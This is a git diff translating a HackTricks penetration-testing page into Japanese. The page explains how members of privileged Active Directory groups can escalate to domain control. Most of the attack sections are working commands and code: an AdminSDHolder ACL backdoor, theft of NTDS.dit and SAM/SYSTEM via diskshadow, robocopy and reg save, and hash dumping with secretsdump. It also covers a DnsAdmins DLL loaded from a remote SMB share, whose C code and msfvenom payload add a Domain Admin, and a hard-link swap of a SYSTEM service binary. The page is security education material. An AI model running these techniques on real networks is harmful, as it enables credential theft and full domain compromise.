**HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index cddcb00cd..56adaef77 100644 --- a/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -1,104 +1,93 @@ -# Privileged Groups +# 特権グループ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Known groups with administration privileges +## 管理特権を持つ既知のグループ * **Administrators** * **Domain Admins** * **Enterprise Admins** -There are other account memberships and access token privileges that can also be useful during security assessments when chaining multiple attack vectors. +他にも、セキュリティ評価中に複数の攻撃ベクトルを連鎖させる際に役立つアカウントのメンバーシップやアクセストークンの特権があります。 -## Account Operators +## アカウントオペレーター -* Allows creating non administrator accounts and groups on the domain -* Allows logging in to the DC locally - -Get **members** of the group: +* ドメイン上で非管理者アカウントとグループを作成することができます +* DCにローカルでログインすることができます +グループの**メンバー**を取得する: ```powershell Get-NetGroupMember -Identity "Account Operators" -Recurse ``` - -Note the spotless' user membership: +ユーザーのメンバーシップを確認してください: ![](<../../.gitbook/assets/1 (2) (1) (1).png>) -However, we can still add new users: +しかし、新しいユーザーを追加することはできます: ![](../../.gitbook/assets/a2.png) -As well as login to DC01 locally: +また、DC01にローカルでログインすることもできます: ![](../../.gitbook/assets/a3.png) -## AdminSDHolder group +## AdminSDHolderグループ -The Access Control List (ACL) of the **AdminSDHolder** object is used as a template to **copy** **permissions** to **all “protected groups”** in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.\ -By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker modifies the ACL of the group **AdminSDHolder** for example giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group (in an hour).\ -And if someone tries to delete this user from the Domain Admins (for example) in an hour or less, the user will be back in the group. - -Get **members** of the group: +**AdminSDHolder**オブジェクトのアクセス制御リスト(ACL)は、Active Directoryのすべての「保護されたグループ」およびそれらのメンバーに**権限をコピー**するために使用されます。保護されたグループには、Domain Admins、Administrators、Enterprise Admins、およびSchema Adminsなどの特権グループが含まれます。\ +デフォルトでは、このグループのACLは「保護されたグループ」のすべてにコピーされます。これは、これらの重要なグループへの意図的または偶発的な変更を防ぐために行われます。ただし、攻撃者が例えば通常のユーザーに完全な権限を与えるようにグループ**AdminSDHolder**のACLを変更した場合、このユーザーは保護されたグループ内のすべてのグループに対して完全な権限を持つことになります(1時間以内に)。\ +そして、誰かがこのユーザーをDomain Adminsから削除しようとした場合、1時間以内にユーザーはグループに戻ります。 +グループの**メンバー**を取得する: ```powershell Get-NetGroupMember -Identity "AdminSDHolder" -Recurse ``` - -Add a user to the **AdminSDHolder** group: - +**AdminSDHolder** グループにユーザーを追加します: ```powershell Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All ``` - -Check if the user is inside the **Domain Admins** group: - +**Domain Admins** グループにユーザーが含まれているかどうかを確認します: ```powershell Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} ``` +1時間待ちたくない場合は、次のPSスクリプトを使用して即座に復元を行うことができます:[https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1) -If you don't want to wait an hour you can use a PS script to make the restore happen instantly: [https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1) - -[**More information in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) +[**詳細はired.teamを参照してください。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) ## **AD Recycle Bin** -This group gives you permission to read deleted AD object. Something juicy information can be found in there: - +このグループには、削除されたADオブジェクトを読み取る権限があります。そこには興味深い情報が含まれている場合があります。 ```bash #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` +### ドメインコントローラへのアクセス -### Domain Controller Access - -Note how we cannot access files on the DC with current membership: +現在のメンバーシップでは、DC上のファイルにアクセスできないことに注意してください: ![](../../.gitbook/assets/a4.png) -However, if the user belongs to `Server Operators`: +しかし、ユーザーが`Server Operators`に属している場合: ![](../../.gitbook/assets/a5.png) -The story changes: +状況が変わります: ![](../../.gitbook/assets/a6.png) -### Privesc - -Use [`PsService`](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice) or `sc`, form Sysinternals, to check permissions on a service. +### 特権昇格 +[`PsService`](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice)またはSysinternalsの`sc`を使用して、サービスのアクセス許可を確認します。 ``` C:\> .\PsService.exe security AppReadiness @@ -108,29 +97,25 @@ Sysinternals - www.sysinternals.com [...] - [ALLOW] BUILTIN\Server Operators - All +[ALLOW] BUILTIN\Server Operators +All ``` - -This confirms that the Server Operators group has [SERVICE\_ALL\_ACCESS](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights) access right, which gives us full control over this service.\ -You can abuse this service to [**make the service execute arbitrary commands**](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#modify-service-binary-path) and escalate privileges. +これにより、Server Operatorsグループが[SERVICE_ALL_ACCESS](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights)アクセス権を持っていることが確認されました。これにより、このサービスに対して完全な制御が可能です。\ +このサービスを悪用して、任意のコマンドを実行し特権をエスカレーションすることができます。 ## Backup Operators -As with `Server Operators` membership, we can **access the `DC01` file system** if we belong to `Backup Operators`. +`Server Operators`のメンバーシップと同様に、`Backup Operators`に所属している場合は、`DC01`ファイルシステムにアクセスできます。 -This is because this group grants its **members** the [**`SeBackup`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4) and [**`SeRestore`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5) privileges. The **SeBackupPrivilege** allows us to **traverse any folder and list** the folder contents. This will let us **copy a file from a folder,** even if nothing else is giving you permissions. However, to abuse this permissions to copy a file the flag [**FILE\_FLAG\_BACKUP\_SEMANTICS**](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) \*\*\*\* must be used. Therefore, special tools are needed. +これは、このグループがその**メンバー**に[**`SeBackup`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4)と[**`SeRestore`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5)の特権を付与しているためです。**SeBackupPrivilege**により、任意のフォルダをトラバースし、フォルダの内容をリストすることができます。これにより、他に権限が与えられていない場合でも、フォルダからファイルをコピーすることができます。ただし、ファイルをコピーするためには、フラグ[**FILE_FLAG_BACKUP_SEMANTICS**](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)を使用する必要があります。したがって、特別なツールが必要です。 -For this purpose you can use [**these scripts**](https://github.com/giuliano108/SeBackupPrivilege)**.** - -Get **members** of the group: +この目的のために、[**これらのスクリプト**](https://github.com/giuliano108/SeBackupPrivilege)**を使用できます。** +グループの**メンバー**を取得する: ```powershell Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` - -### **Local Attack** - +### **ローカル攻撃** ```bash # Import libraries Import-Module .\SeBackupPrivilegeUtils.dll @@ -145,17 +130,15 @@ Get-SeBackupPrivilege dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite ``` +### AD攻撃 -### AD Attack - -For instance, you can directly access the Domain Controller file system: +たとえば、直接ドメインコントローラのファイルシステムにアクセスできます: ![](../../.gitbook/assets/a7.png) -You can abuse this access to **steal** the active directory database **`NTDS.dit`** to get all the **NTLM hashes** for all user and computer objects in the domain. - -Using [**diskshadow**](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow) you can **create a shadow copy** of the **`C` drive** and in the `F` drive for example. The, you can steal the `NTDS.dit` file from this shadow copy as it won't be in use by the system: +このアクセスを悪用して、ドメイン内のすべてのユーザーとコンピュータオブジェクトの**NTLMハッシュ**を取得するために、アクティブディレクトリデータベース**`NTDS.dit`**を**盗む**ことができます。 +[**diskshadow**](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow)を使用して、たとえば`C`ドライブと`F`ドライブに**シャドウコピー**を作成できます。その後、システムによって使用されていないため、このシャドウコピーから`NTDS.dit`ファイルを盗むことができます: ``` diskshadow.exe @@ -174,105 +157,85 @@ DISKSHADOW> expose %cdrive% F: DISKSHADOW> end backup DISKSHADOW> exit ``` - -As in the local attack, you can now copy the privileged file **`NTDS.dit`**: - +ローカル攻撃と同様に、特権ファイル **`NTDS.dit`** をコピーすることができます。 ``` Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit ``` - -Another way to copy files is using [**robocopy**](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy)**:** - +別のファイルをコピーする方法は、[**robocopy**](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy)**を使用することです**: ``` robocopy /B F:\Windows\NTDS .\ntds ntds.dit ``` - -Then, you can easily **steal** the **SYSTEM** and **SAM**: - +次に、**SYSTEM**と**SAM**を簡単に**盗む**ことができます: ``` reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SAM SAM.SAV ``` - -Finally you can **get all the hashes** from the **`NTDS.dit`**: - +最終的には、**`NTDS.dit`** から**すべてのハッシュを取得**できます。 ```shell-session secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL ``` - ## DnsAdmins -A user who is member of the **DNSAdmins** group or have **write privileges to a DNS** server object can load an **arbitrary DLL** with **SYSTEM** privileges on the **DNS server**.\ -This is really interesting as the **Domain Controllers** are **used** very frequently as **DNS servers**. +**DNSAdmins**グループのメンバーまたは**DNSサーバー**オブジェクトへの**書き込み権限**を持つユーザーは、**DNSサーバー**上で**SYSTEM特権**で**任意のDLL**をロードすることができます。\ +これは、**ドメインコントローラー**が非常に頻繁に**DNSサーバー**として使用されるため、非常に興味深いです。 -As shown in this \*\*\*\* [**post**](https://adsecurity.org/?p=4064), the following attack can be performed when DNS is run on a Domain Controller (which is very common): +この\*\*\*\*[**投稿**](https://adsecurity.org/?p=4064)に示されているように、次の攻撃は、DNSがドメインコントローラー上で実行されている場合に実行できます(これは非常に一般的です): -* DNS management is performed over RPC -* [**ServerLevelPluginDll**](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-dnsp/c9d38538-8827-44e6-aa5e-022a016ed723) allows us to **load** a custom **DLL** with **zero verification** of the DLL's path. This can be done with the `dnscmd` tool from the command line -* When a member of the **`DnsAdmins`** group runs the **`dnscmd`** command below, the `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll` registry key is populated -* When the **DNS service is restarted**, the **DLL** in this path will be **loaded** (i.e., a network share that the Domain Controller's machine account can access) -* An attacker can load a **custom DLL to obtain a reverse shell** or even load a tool such as Mimikatz as a DLL to dump credentials. - -Get **members** of the group: +- DNS管理はRPC経由で行われます +- [**ServerLevelPluginDll**](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-dnsp/c9d38538-8827-44e6-aa5e-022a016ed723)を使用すると、**DLLのパスの検証がゼロ**でカスタム**DLL**を**ロード**することができます。これは、コマンドラインから`dnscmd`ツールを使用して行うことができます +- **`DnsAdmins`**グループのメンバーが以下の**`dnscmd`**コマンドを実行すると、`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll`レジストリキーが作成されます +- **DNSサービスが再起動**されると、このパスにある**DLL**が**ロード**されます(つまり、ドメインコントローラーのマシンアカウントがアクセスできるネットワーク共有) +- 攻撃者は、**カスタムDLLをロードしてリバースシェルを取得**したり、MimikatzのようなツールをDLLとしてロードして資格情報をダンプすることができます。 +グループの**メンバー**を取得する: ```powershell Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` +### 任意のDLLの実行 -### Execute arbitrary DLL - -Then, if you have a user inside the **DNSAdmins group**, you can make the **DNS server load an arbitrary DLL with SYSTEM privileges** (DNS service runs as `NT AUTHORITY\SYSTEM`). You can make the DNS server load a **local or remote** (shared by SMB) DLL file executing: - +次に、**DNSAdminsグループ**に所属するユーザーがいる場合、**DNSサーバーはSYSTEM特権で任意のDLLを読み込むことができます**(DNSサービスは`NT AUTHORITY\SYSTEM`として実行されます)。次のコマンドを実行することで、DNSサーバーは**ローカルまたはリモート**(SMBで共有された)DLLファイルを読み込むことができます。 ``` dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll ``` - -An example of a valid DLL can be found in [https://github.com/kazkansouh/DNSAdmin-DLL](https://github.com/kazkansouh/DNSAdmin-DLL). I would change the code of the function `DnsPluginInitialize` to something like: - +有効なDLLの例は[https://github.com/kazkansouh/DNSAdmin-DLL](https://github.com/kazkansouh/DNSAdmin-DLL)にあります。`DnsPluginInitialize`関数のコードを以下のように変更します: ```c DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction) { - system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain"); - system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain"); +system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain"); +system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain"); } ``` - -Or you could generate a dll using msfvenom: - +または、msfvenomを使用してdllを生成することもできます: ```bash msfvenom -p windows/x64/exec cmd='net group "domain admins" /add /domain' -f dll -o adduser.dll ``` +DNSサービスが開始または再起動されると、新しいユーザーが作成されます。 -So, when the **DNSservice** start or restart, a new user will be created. - -Even having a user inside DNSAdmin group you **by default cannot stop and restart the DNS service.** But you can always try doing: - +DNSAdminグループ内にユーザーがいても、**デフォルトではDNSサービスを停止または再起動することはできません。** ただし、常に次の操作を試すことができます。 ```csharp sc.exe \\dc01 stop dns sc.exe \\dc01 start dns ``` - -[**Learn more about this privilege escalation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise) +[**この特権昇格についての詳細は、ired.teamを参照してください。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise) #### Mimilib.dll -As detailed in this [**post**](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html), It's also possible to use [**mimilib.dll**](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib) from the creator of the `Mimikatz` tool to gain command execution by **modifying** the [**kdns.c**](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c) \*\*\*\* file to execute a **reverse shell** one-liner or another command of our choosing. +この[**投稿**](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)で詳しく説明されているように、`Mimikatz`ツールの作成者による[**mimilib.dll**](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib)を使用して、[**kdns.c**](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c)ファイルを**変更**して、リバースシェルのワンライナーや他のコマンドを実行することができます。 -### WPAD Record for MitM +### MitMのためのWPADレコード -Another way to **abuse DnsAdmins** group privileges is by creating a **WPAD record**. Membership in this group gives us the rights to [disable global query block security](https://docs.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps), which by default blocks this attack. Server 2008 first introduced the ability to add to a global query block list on a DNS server. By default, Web Proxy Automatic Discovery Protocol (WPAD) and Intra-site Automatic Tunnel Addressing Protocol (ISATAP) are on the global query block list. These protocols are quite vulnerable to hijacking, and any domain user can create a computer object or DNS record containing those names. +DnsAdminsグループの特権を悪用する別の方法は、**WPADレコード**を作成することです。このグループに所属することで、[グローバルクエリブロックセキュリティを無効化](https://docs.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps)する権限が与えられます。デフォルトでは、この攻撃はブロックされます。サーバー2008では、DNSサーバーにグローバルクエリブロックリストを追加する機能が初めて導入されました。デフォルトでは、Web Proxy Automatic Discovery Protocol (WPAD)とIntra-site Automatic Tunnel Addressing Protocol (ISATAP)がグローバルクエリブロックリストに含まれています。これらのプロトコルはハイジャックの脆弱性が非常に高く、任意のドメインユーザーがこれらの名前を含むコンピュータオブジェクトやDNSレコードを作成することができます。 -After **disabling the global query** block list and creating a **WPAD record**, **every machine** running WPAD with default settings will have its **traffic proxied through our attack machine**. We could use a tool such as \*\*\*\* [**Responder**](https://github.com/lgandx/Responder) **or** [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **to perform traffic spoofing**, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack. +**グローバルクエリブロックリストを無効化**し、**WPADレコードを作成**した後、デフォルト設定で動作しているすべてのWPADを実行しているマシンのトラフィックは、**攻撃マシンを介してプロキシされます**。[Responder](https://github.com/lgandx/Responder)や[Inveigh](https://github.com/Kevin-Robertson/Inveigh)などのツールを使用して、トラフィックのスプーフィングを行い、パスワードハッシュをキャプチャしてオフラインでクラックしたり、SMBRelay攻撃を実行したりすることができます。 {% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} [spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} -## Event Log Readers - -Members of the [**Event Log Readers**](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255\(v=ws.11\)?redirectedfrom=MSDN#event-log-readers) \*\*\*\* group have **permission to access the event logs** generated (such as the new process creation logs). In the logs **sensitive information** could be found. Let's see how to visualize the logs: +## イベントログの読み取り者 +[**イベントログの読み取り者**](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255\(v=ws.11\)?redirectedfrom=MSDN#event-log-readers)グループのメンバーは、生成されたイベントログ(新しいプロセス作成ログなど)に**アクセスする権限**を持っています。ログには**機密情報**が含まれている場合があります。ログの表示方法を見てみましょう: ```powershell #Get members of the group Get-NetGroupMember -Identity "Event Log Readers" -Recurse @@ -286,137 +249,120 @@ wevtutil qe Security /rd:true /f:text /r:share01 /u: /p: | findst # Search using PowerShell Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }} ``` - ## Exchange Windows Permissions -Members are granted the ability to **write a DACL to the domain object**. An attacker could abuse this to **give a user** [**DCSync**](dcsync.md) privileges.\ -If Microsoft Exchange is installed in the AD environment, It is common to find user accounts and even computers as members of this group. - -This [**GitHub repo**](https://github.com/gdedrouas/Exchange-AD-Privesc) explains a few **techniques** to **escalate privileges** abusing this group permissions. +メンバーはドメインオブジェクトに**DACLを書き込む権限**を与えられています。攻撃者はこれを悪用して、ユーザーに[**DCSync**](dcsync.md)の特権を与えることができます。\ +Microsoft ExchangeがAD環境にインストールされている場合、このグループのメンバーとしてユーザーアカウントやコンピューターを見つけることが一般的です。 +この[**GitHubリポジトリ**](https://github.com/gdedrouas/Exchange-AD-Privesc)では、このグループの権限を悪用して特権をエスカレーションするためのいくつかの**技術**が説明されています。 ```powershell #Get members of the group Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` +## Hyper-V管理者 -## Hyper-V Administrators +[**Hyper-V管理者**](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/access-control/active-directory-security-groups#hyper-v-administrators)グループは、すべての[Hyper-V機能](https://docs.microsoft.com/ja-jp/windows-server/manage/windows-admin-center/use/manage-virtual-machines)に完全なアクセス権を持っています。もし**ドメインコントローラー**が**仮想化**されている場合、**仮想化管理者**は**ドメイン管理者**と見なされるべきです。彼らは簡単に**ライブドメインコントローラーのクローン**を作成し、仮想ディスクをオフラインで**マウント**して**`NTDS.dit`**ファイルを取得し、ドメイン内のすべてのユーザーのNTLMパスワードハッシュを抽出することができます。 -The [**Hyper-V Administrators**](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#hyper-v-administrators) group has full access to all [Hyper-V features](https://docs.microsoft.com/en-us/windows-server/manage/windows-admin-center/use/manage-virtual-machines). If **Domain Controllers** have been **virtualized**, then the **virtualization admins** should be considered **Domain Admins**. They could easily **create a clone of the live Domain Controller** and **mount** the virtual **disk** offline to obtain the **`NTDS.dit`** file and extract NTLM password hashes for all users in the domain. +また、この[ブログ](https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/)では、仮想マシンを**削除**すると、`vmms.exe`が対応する**`.vhdx`ファイル**の元のファイルアクセス許可を**復元**しようとし、ユーザーを模倣せずに`NT AUTHORITY\SYSTEM`として行います。私たちは**`.vhdx`**ファイルを**削除**し、このファイルを**保護されたSYSTEMファイル**に向けるためのネイティブな**ハードリンク**を作成することができます。そうすれば、完全なアクセス権を与えられます。 -It is also well documented on this [blog](https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/), that upon **deleting** a virtual machine, `vmms.exe` attempts to **restore the original file permissions** on the corresponding **`.vhdx` file** and does so as `NT AUTHORITY\SYSTEM`, without impersonating the user. We can **delete the `.vhdx`** file and **create** a native **hard link** to point this file to a **protected SYSTEM file**, and you will be given full permissions to. +もしオペレーティングシステムが[CVE-2018-0952](https://www.tenable.com/cve/CVE-2018-0952)または[CVE-2019-0841](https://www.tenable.com/cve/CVE-2019-0841)に脆弱である場合、これを利用してSYSTEM権限を取得することができます。そうでない場合は、**サーバー上にインストールされているアプリケーションがSYSTEMのコンテキストで実行されるサービスを持っている**ことを利用することができます。このサービスは、特権のないユーザーによって起動することができます。 -If the operating system is vulnerable to [CVE-2018-0952](https://www.tenable.com/cve/CVE-2018-0952) or [CVE-2019-0841](https://www.tenable.com/cve/CVE-2019-0841), we can leverage this to gain SYSTEM privileges. Otherwise, we can try to **take advantage of an application on the server that has installed a service running in the context of SYSTEM**, which is startable by unprivileged users. - -### **Exploitation Example** - -An example of this is **Firefox**, which installs the **`Mozilla Maintenance Service`**. We can update [this exploit](https://raw.githubusercontent.com/decoder-it/Hyper-V-admin-EOP/master/hyperv-eop.ps1) (a proof-of-concept for NT hard link) to grant our current user full permissions on the file below: +### **攻撃例** +この例では、**Firefox**が**`Mozilla Maintenance Service`**をインストールしていることがあります。[このエクスプロイト](https://raw.githubusercontent.com/decoder-it/Hyper-V-admin-EOP/master/hyperv-eop.ps1)(NTハードリンクの概念証明)を更新して、現在のユーザーに以下のファイルの完全なアクセス権を付与することができます。 ```bash C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe ``` +#### **ファイルの所有権を取得する** -#### **Taking Ownership of the File** - -After running the PowerShell script, we should have **full control of this file and can take ownership of it**. - +PowerShellスクリプトを実行した後、**このファイルの完全な制御権を持ち、所有権を取得することができるはずです**。 ```bash C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe ``` +#### **Mozillaメンテナンスサービスの開始** -#### **Starting the Mozilla Maintenance Service** - -Next, we can replace this file with a **malicious `maintenanceservice.exe`**, **start** the maintenance **service**, and get command execution as SYSTEM. - +次に、このファイルを**悪意のある`maintenanceservice.exe`**で置き換え、メンテナンスサービスを**開始**し、SYSTEMとしてコマンドの実行を行うことができます。 ``` C:\htb> sc.exe start MozillaMaintenance ``` - {% hint style="info" %} -This vector has been mitigated by the March 2020 Windows security updates, which changed behavior relating to hard links. +このベクトルは、ハードリンクに関連する動作を変更した2020年3月のWindowsセキュリティ更新によって軽減されました。 {% endhint %} -## Organization Management +## 組織管理 -This group is also in environments with **Microsoft Exchange** installed.\ -members of this group can **access** the **mailboxes** of **all** domain users.\ -This group also has **full control** of the OU called `Microsoft Exchange Security Groups`, which contains the group [**`Exchange Windows Permissions`**](privileged-groups-and-token-privileges.md#exchange-windows-permissions) \*\*\*\* (follow the link to see how to abuse this group to privesc). +このグループは、**Microsoft Exchange**がインストールされた環境でも存在します。\ +このグループのメンバーは、**すべての**ドメインユーザーの**メールボックス**に**アクセス**できます。\ +このグループはまた、グループ[**`Exchange Windows Permissions`**](privileged-groups-and-token-privileges.md#exchange-windows-permissions)を含むOU `Microsoft Exchange Security Groups`の**完全な制御**を持っています(このグループを悪用して特権昇格する方法についてはリンクを参照してください)。 -## Print Operators +## プリントオペレータ -The members of this gorup are granted: +このグループのメンバーには以下が付与されます: * [**`SeLoadDriverPrivilege`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#seloaddriverprivilege-3.1.7) -* **Log on locally to a Domain Controller** and shut it down -* Permissions to **manage**, create, share, and delete **printers connected to a Domain Controller** +* **ドメインコントローラにローカルでログオン**し、シャットダウンする権限 +* ドメインコントローラに接続された**プリンタ**の**管理**、作成、共有、削除の権限 {% hint style="warning" %} -If the command `whoami /priv`, doesn't show the **`SeLoadDriverPrivilege`** from an unelevated context, you need to bypass UAC. +コマンド`whoami /priv`が昇格していないコンテキストで**`SeLoadDriverPrivilege`**を表示しない場合、UACをバイパスする必要があります。 {% endhint %} -Get **members** of the group: - +グループの**メンバー**を取得する: ```powershell Get-NetGroupMember -Identity "Print Operators" -Recurse ``` - -Check in this page how to abuse the SeLoadDriverPrivilege to privesc: +このページでは、SeLoadDriverPrivilegeを悪用して特権昇格を行う方法について説明します: {% content-ref url="../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md" %} 